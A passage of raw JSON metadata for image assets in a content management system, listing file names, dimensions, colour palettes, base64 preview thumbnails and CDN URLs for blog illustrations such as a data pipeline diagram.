solution.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsUlEQVQokTVRSY7cMAz0/1+XS07pmd7stkSJmyRvEt0TqIMAdSC4FKvIwcUDqFI6ORtqRbUozePxCer1qd8P9Xh4PCa/TrDdX/nPlUa3cD4HF3fAA6W9YP1+6uhWoOrxCNwCt+dcnvMCVOe4P+dlgm30y33Kc9gpnUPkRtrxgu025RdsqIZqQDbHNnddDdU8NRcrcO1EoXrqPUMUi2xRDKh5rJ0rGerpoo2+jnBA7zuBzWOLYoHNx/ZJ2hC4AbU+zy1yJWkozZNNwR6u3udjggrchXisgWrELYJSzCT7gNL5SBrTqiiJhGjxsE5uu7+O67g/5v2fSJRKvDMm9S4BiJRBdMtpTboqagmwRFAI8X6fL9frlS+P9TZtDiunpqlq6vMYMsXMsg+JZOVYmIWK0KKySEC6/Ha/f31f/NctPUaFsIgeKTfNJ6mFbrOfZmAuiVPSwvr5djKWlX3EGcBrdCjOK4rmquXU8uZ0ohipcbLuuRtOTfIp5d2RTXKTbJqOLKkwZy1aTJcfXX4oGeDm4xL4GKJ8jpxOLb32H28t788q09J0sZ75lFDbY+Kvmx9n/Qt+S2tLUOd9kQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5484","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#823902","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a5a7cc","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5a7cc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7475a4","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c04","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-data-path.png","path":"images/sczeoy4w/production/5583677a2d66121adcd2953324abdf28f7cef15d-1422x800.png","sha1hash":"5583677a2d66121adcd2953324abdf28f7cef15d","size":98286,"title":"Data pipeline architecture based on future.com's graphic","uploadId":"AJgKwQIK6xSewtreHWzRTlXZVRxDnSIR","url":"https://cdn.sanity.io/images/sczeoy4w/production/5583677a2d66121adcd2953324abdf28f7cef15d-1422x800.png"} {"_createdAt":"2023-02-07T12:54:21Z","_id":"image-cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237-png","_rev":"qBG5W2UzMHRLoCg3n5yVzG","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T12:54:21Z","assetId":"cee278f5d9e8641d81c032a5f2227bc22308fc97","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V03+J@xuMx-=R%DioMxuRiofDit8s;Wms;xcNFS0t8ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.379951495553759,"height":1237,"width":1707},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJ0lEQVQ4jV2Taa7bMAyEfYUm8aJdotY4CVK0KHr/k01BOkjz3o+BJZma+UxZk3MJSgcsq8OyWsyLxWXWIh7z2nd91lyW43m+KNGkTcC8GJmczttbPP80/Do2OH2rP503/DitmLSN2LQXyk15XNh8VphXg1V7rNrJ+LIaLMpiNR7LZnFmqllJ/bxZIRVCZSKsz0h5IKSGTQfMymKzHjol6BixGofFWKgYYDJB+4hFOQnYjJc5B3HwpEyAC4RIFT5maBvEQLkAEwk6JmwuQPkISwRfClwieb+ZAO0iTEhQNkjAZFxCygW1VZRWkXKWABMINuZDgeBTQaCKkCs8ldd6hotZQGxIAjMZT6Da0fcbxn5DaeO9MZaOWBo806f/cqkcZhySm9R5arImhjE35H4V8ZhpuIjaQKpczFQVVK8o/YZcd0Tq8Kkh5I5Qhhiy1+RiQcwHSXiZMUUqXcwkgCpy23F7/Mbz+ReP+x/0/kSkAZcqbCwwIUPZeBCyQaBjIweweM5BTMCbUhkY15/Y919iRnSFj1U+k8U+fMCTcXRsLkMkPYrlS4h9zalxW3bEVxsiNVDpyLUjMYxPmNide1PHHWXcheowZMrjySfJB5XHFe1+Q9l3pNZBdaD2Ha3voNxh2ZA3U2HDmzScqTiEDbiH3Eum4XXuY7s+JFjqPL3Fnys/dqD+xs61IQpVRqwN+bojj/34ffJArne0/kRtD/jQ5H5/3mO+y/8A01x967n7YtgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343e4e","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#442064","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a94aa8","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93999b","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a2d6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#82489d","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a94aa8","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237.png","path":"images/sczeoy4w/production/cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237.png","sha1hash":"cee278f5d9e8641d81c032a5f2227bc22308fc97","size":365897,"uploadId":"yN7OSUZuyd94UVJosMPnKQHcZrsUOFGn","url":"https://cdn.sanity.io/images/sczeoy4w/production/cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237.png"} {"_createdAt":"2023-02-07T12:55:24Z","_id":"image-8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206-png","_rev":"iop8tFFqgfe67JrEbji0cd","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T12:55:24Z","assetId":"8e43f8a4333cb0dea6af4152a4f26810283c6cb3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8SF;Lo~aM?Hbw~DR*ozMxo}-ptRsAWBjY.RnOoMj]ni%NniMxo}Vr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.857379767827529,"height":1206,"width":1034},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAIAAACEf/j0AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAC2klEQVQ4jXWU244cNRCG+/1fhhvEFSACyhUHIW2IBJEA7Soz3T7WyS4fpnuQPbPJRiHuT+qyrL9cXf3by5F0T9pKqbW21lpvvffW2n06gtt7RrX23vd9P47jer0uXbWkrDmXUi6Xy36Mhf1L47Ifz8ohbqrKkkRU9Zby/8flMmqMfKRy3fe7eG+ta2llFPe5+D7f912k//mu/vrQH9ejtuu97N5rrbXU9vyptZQ20pVa7qPW2sNWf/khv35Vn05H63dxKYWZeZYtKUEE9IF9YOfRueBcCJ6Y1D6W37/Jb36s4I/jueycM0BEhJQSEXvrwmaisXEzYd3MuhljQgTZ/tHfvkp/fFc47B8aJpKMsetmQozex23d7Ga89cF6b72z3jkfIuL2xA/fwtvXHH2pvdamWhcmef9+fXw6nVdzPpvTad2MixERGZARGJGRhGKk079wfhoLSYmS87AQ8Xk1m3EhAiIRsaQ8et8vrV/6ZPay30wygtZVa4w8xMZ6AFKdXW3DYTcbfdEpl0trnTiNso31EUDmSCKJORNrzsOhN3OOH1jbnE3b1lIqUZo7G+ecd94b66x1wdhgLESQlHLWrGXyMtCUFZAX5rGz82Gz/rSZ1dhbCueDBwxAEQmIkYU4TYRYkCVEWrIWH2CInTsbuznnQhzEMIk+xgCAzJJT0pxUk6rkHIGX2loEMt5tzmzeegyRYRJfAJhIVHLL2lV7yVWBeGm9A7IL3kYXKGBCyvQJ6WPMhaWMFLnkuxiRQ4TxIAAhMpEQfoBfBEwkPIvPo2GtdyIBQASIw+WARMiMzDS5BSwiOadJHkcoR6CltY4kUxYDBA8hQIgIkeBmzYGQZBl3Vb9Rcylz5zbLhtEV4BiHiWeTBDAhZxYVKZJq0ruyFM0ZGTzcdx6OHhbQQdU80XEtDMd+QmvFeH5459/+vdTWAYVonIZShmJQBh+nL8lF/nr0X/90+v7n/wBmVCKUmaARBAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c364c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c2c4d","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7e7e89","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e7e89","foreground":"#fff","population":0.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f36317","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206.png","path":"images/sczeoy4w/production/8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206.png","sha1hash":"8e43f8a4333cb0dea6af4152a4f26810283c6cb3","size":135182,"uploadId":"oPXq2c2eYwb0TekyPrdXGmpZ2lf2HdCI","url":"https://cdn.sanity.io/images/sczeoy4w/production/8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206.png"} {"_createdAt":"2023-02-07T12:55:50Z","_id":"image-2190008d7437ec34163c83aa209a355ad3134528-1013x979-png","_rev":"q6IvLca7BfVqZtRwbn75sD","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T12:55:50Z","assetId":"2190008d7437ec34163c83aa209a355ad3134528","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e2S$ovVY?G^jV?yDX9NKNMo~9aE2D*WZRk_MEe4.D%Rk?bE101I[NK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.034729315628192,"height":979,"width":1013},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAIAAAAf7rriAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACG0lEQVQ4jVVT2W7cMAzc//+s/kGfCrRAESRB0mR3bV28SbmQvOfAEERZI3Ko0eHHr8+ff97+vry8vr8dlyMwohEZeXhEqKqIqCoR1dqYxxwAENHDD78/0svH9+fXv2U9VygoiIokpKZmJiLMvI+IKCJmRkQiEj0OjQQAqFYFUBE1vcFmsGfeD9I52cfe+yEiwj1EHNlY3dzN5477MTbhPoTcMMg9ops5CWZqmYUEEdtELbWUWmurtRGRu/dnHLp7h6Ypr+d2TgxAKaVl4nQ6H0/niaWUMqWyiN5OmeRWbV3zWlIdbUw5L+uarsgp55TLBRUAVPVK7r2bBZO2Oj5mmCDiHbKD5RqOzNu2DbKPfrmbhWo37Xv40JuZYx/vuJAJAbEh4t79bevb2HrfPVf8trI94IDlE+oJEXZyDw9FVwy3S+awLi0E9pVH/oHKO9RvIjTzGEWrQIKyAoxyRMSVFRYsCwIw8y74QoaWak1t/BAbFnFCKDmVUlprzGymQgittvaobpIVkmCT6fjRuOgoBjQWLq5yC2ETvpnsTrblVevZZNQT0cVjIU0odHVyqFjN2orruIsnzZCONZ2xtSHPXd0z0lJqLrW2hkQqQrXUnPaanzIzAraGgFPeeBWCjA32d6ezVBEZ4dQ1ydfMlleFqjNtjx5isgJnMNGrQ+YNPhnkSubjF6WFmSJi2zZnhe9cjwkBdb/5Z2M8muQ//INTrzK0XyYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3168","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d5d8c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac537d","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac3","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90e1ef","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac537d","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e56b20","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2190008d7437ec34163c83aa209a355ad3134528-1013x979.png","path":"images/sczeoy4w/production/2190008d7437ec34163c83aa209a355ad3134528-1013x979.png","sha1hash":"2190008d7437ec34163c83aa209a355ad3134528","size":128387,"uploadId":"ztYpKg05HvYpprJiFp2B5SmXMHthmlEh","url":"https://cdn.sanity.io/images/sczeoy4w/production/2190008d7437ec34163c83aa209a355ad3134528-1013x979.png"} {"_createdAt":"2023-02-07T14:00:28Z","_id":"image-5740f35d77793404b2dde0739d50c354c1ab0428-1567x844-png","_rev":"q6IvLca7BfVqZtRwbnRpl1","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T14:00:45Z","altText":null,"assetId":"5740f35d77793404b2dde0739d50c354c1ab0428","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHQ]$q.9t.IqrpyGIpn1i]tn4T-oN#NMxU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdUlEQVQokXXSz27TQBAGcF9A3HgiboieeRf6DtwqOHAtIk2rIoooFZRCkyZOKP0vQtpgx4ntJE3q1kls73rXdhLPhxJBqyI4/LRz2Bl9ml3F5xMaBgkN/ATDYERBmIJL3BApeDjC0JOwO1fYPzzDwrMVPJl/jtdvcqhUDTr7aUE3OtQwe6Q4LqeGdUH1ZheG2SPTdtA676PdHaB3yTAMktnAVsfB9nYRb9fWkc2uYXFxFe/WN7GdK1JB/Yq9g2M6PvlBit1xcXhyhv2jKh0cVbG7/x3fDiqY1qc1E47LwcIRdN3Eh42P2C2V0TAMmKYJy7Jg2y202x30ehe4vLyE4rghNW1nCqbtkNHsot48h2F2Z0kHXgwWTqDpFnJf8mgaDURCQIYckRSIkxij0QiTyYTSNCWFiRRBOMF0d//CBGF6R6u3kc+rME0LQkRgPkMYBghjjiiOMB6Pp0Oh3HqA/2AC0IwO8jslmJYFLmIMPYaAe2BRABEJJHEyS6qwacOtZvptWqfgIgELE2j1FnYKJditFqSM4fsMXAQQSThLmCTJLKXCBRH7C5cgLkbEvSYJ5xOx3hbVKjv0eWuLdL1OgTekgeuQ57vkMY/8wCfGGHHOSeF+DM/lcPvh7ItM03FJ4H4b0l5A/P0h2PEcqvl5rGZfYP39BlS1ALWYm53FkgpVLaFUKqNcLkPhfSb7567sdgfyaiBlEKaSi1SG7l4UVx+Pk/I9YoX7VNucG69ln0aLLzMys7R87VVmRWaWbiicJZrvRdrQi3WPjXUmSOeCtPCqZMaVR/6ofCcVxbvphfrA146XzepZQzutmfof1Vrz2mmtqf0C1/wV9o6pmjEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#966909","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c406","foreground":"#000","population":3.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec7a6","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce42e","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b9ca8","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c406","foreground":"#000","population":3.9,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Q4_release_summary_blog2.png","path":"images/sczeoy4w/production/5740f35d77793404b2dde0739d50c354c1ab0428-1567x844.png","sha1hash":"5740f35d77793404b2dde0739d50c354c1ab0428","size":177394,"title":"Q4 releases","uploadId":"LeIwnQuE4xZUuA7QIzJdrOUDESwFaX7Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/5740f35d77793404b2dde0739d50c354c1ab0428-1567x844.png"} {"_createdAt":"2022-11-23T13:09:44Z","_id":"image-3e06caa92fae5d720535a81ccee94c3d97e863ec-1200x1175-png","_rev":"z7EiK8inwybcbhSAyA1MLQ","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T13:14:13Z","altText":null,"assetId":"3e06caa92fae5d720535a81ccee94c3d97e863ec","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIH,JGt004#62m]$RLA_of#?0NNgyDkP[-vyXSw@v~Fz1Zbe|:n-o4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0212765957446808,"height":1175,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4752","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f90","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7406","foreground":"#fff","population":11.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accfd8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efca87","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7406","foreground":"#fff","population":11.83,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"hand-with-card-reader.png","path":"images/sczeoy4w/production/3e06caa92fae5d720535a81ccee94c3d97e863ec-1200x1175.png","sha1hash":"3e06caa92fae5d720535a81ccee94c3d97e863ec","size":113208,"title":null,"uploadId":"7m0bqHtPMcCEsUu9etGpIQicFyCIcVXt","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e06caa92fae5d720535a81ccee94c3d97e863ec-1200x1175.png"} {"_createdAt":"2023-02-09T06:17:17Z","_id":"image-0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7-3817x1636-png","_rev":"q6IvLca7BfVqZtRwc0d0k1","_type":"sanity.imageAsset","_updatedAt":"2023-02-09T06:17:17Z","assetId":"0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4Kl$VWnIV0A9z07-QRj~8JA0B^fI[waR%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3331295843520783,"height":1636,"width":3817},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAADLAAAAywAEoZFrbAAACk0lEQVQokQGIAnf9ACQoMQC7iyAGzZYdFsCPIiO8jysdl3cyDzg2MQpPRCwQg2YmIZRyJjCRcSwsemMxGEQ+MAsqLC8NRD0tFoRmJiCsgiUloXwsH3NeMhA7Ny8FACYpMQW3iCEh6qkbVvKwH3bytCtb8bc3IE5IOgWVcSMX150dTeepIXLlqytX2KU2H4luNAQOGTEIclsoH8yWH1DpqiJu4qotSrKMOBYLFSsCACcqMQawgyEo56cbZfWyIIb3uCxi/cA4HjQ4QQOgeCEZ4aQdVPGwIXjxsypQ7bM0GPa4MQQPGzYFiWkkG9+jHlP0syJ087UtR+WvNxHOnTICACgqMAWofiIi3KAcV+ysIHPysypW+bs0HVNLOASWciMX2p8eSOmqIGvprCVX7rEsLPm7Mw9OSDkFjm0kFeKkHUP0sR9l9bQmUPy7LyX/wzgMACkrMAmtgSIp5qcbZ/WxHor4tyhq/L0zJFRLNwWVciMd3aEcWfKvHYj0syZ59LYvPPm8NhA6OTYGjGwlHd+iHFb2sh2F+Lcndfq7MTf+wDkNACkrMAiyhCEi6KgbWfKwHnn1tCdf/LwvJ66JNgqQbyUc1JsdUuurHnvsryds5KwyM+GtOgoAEDUDi2slGdWbHU/srB958LEoZ/K1MDD9vzcNACYqMAW1hyEi6KgbWvOvHH32tCRv/LwuP8qcNxaMbCYf05odU+yrHH3vryN77LEwS+SvOhQAEDUFhmgmG9WbHVDsqx568LAkbPW2LDv+vzYXACgqMAmxhCEx7qsaef22G6b+uyaT/r4zSq6JORSQbiQm46Qbafu1GqL+uSOg/L0xYN2qOhsPGTENgWUmKOCjHGn7tR6b/rsnfP29MTX+wDYMS3MKWubbsdAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f4634","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#764d09","foreground":"#fff","population":0.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d279","foreground":"#000","population":0.93,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ab8a70","foreground":"#fff","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d279","foreground":"#000","population":0.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad986e","foreground":"#000","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b804","foreground":"#000","population":0.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7-3817x1636.png","path":"images/sczeoy4w/production/0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7-3817x1636.png","sha1hash":"0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7","size":395708,"uploadId":"CIZ10lJIUkOGRSaZ7cLTBAOmRwNHNoGs","url":"https://cdn.sanity.io/images/sczeoy4w/production/0bf60ee1bdd6103abc9c5a70e5c429654e5b35e7-3817x1636.png"} {"_createdAt":"2023-12-15T09:57:33Z","_id":"image-ed95b68bbd6d31f404a596608aca801413970427-1141x639-png","_rev":"Do3156plRwIXmiihNwhCM1","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T09:57:33Z","assetId":"ed95b68bbd6d31f404a596608aca801413970427","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.785602503912363,"height":639,"width":1141},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADDklEQVQokS2Q7VPTBQCAf39Jd1mcsrWsLK8vXXeVdV6mJQTqukwlsTfljlOy06OjEogXxxyjtoEd42XHthOohqiDDbaAMWYjQHB5ztt+22/v229HwR35dGkfnnu+PR8eoZAqkBTTiLEsqczf5OV/yMsPycmQLUCmAOk8JHMQTz/kvrjFH6ENZhfXcc3LTPhkpgNFfEvrLIY2EbJSFjEcIxyOE08UHweLkMlvIaU2iEp/EYmvP7KY3CQsbrD85zpzwRzu+TQuXxpvIId/SSa4KiOEQmFmPLNMOl3Mzwe5dy9KMl3kQSTFlGcB27UxrLZRXC4Pd1ZDrN29z9xckJvXPTh+ceNweJhw32bGt4bTfRvB5fZy1WRC29qCUafDau4l4PPhXwig0eqo+riak1XH0V1u5LfpMfyzTn7tM2DXXMKmb2XAqGXE1s+028n49TGEvoEBWr5vpv7iBerP1tJw5hPMP+qw2oeo++o8ZWXlHKooo/mb80xNDOPzOBjRN2Gtr+Ga5mv6uhqx9Oq5NT7MrfFRhLNf1lD92Sk+OFGF+lAlH73zJqer1Jyp/ZzKI5W8vW8f6sMVtDVexO0cwet2MKhtpPvcp1z9tg5jx3eYu7UM9Rnp7mpHeH3Pbp5/+QW2qVRsK3kK1dNPoNr+JKXKErbvKEGpVLD3rddoajiH3WJCe7mJ2pPHqPuwgi+OvM/p6mOPdvT3dNJ+6QLCgYN7eOWNV3nmxV3sUCpQKRUoSktRKEp5buez7H5pF+UH96NpacDY2c6pE8c5fGA/NUfVHH3vXdTllbQ1tzBss2LuMSBY7HZ+6h9Eb+hBqzPQccWARvvYnXoTXT/0YO4fwjkxzc0bk/QaTZh1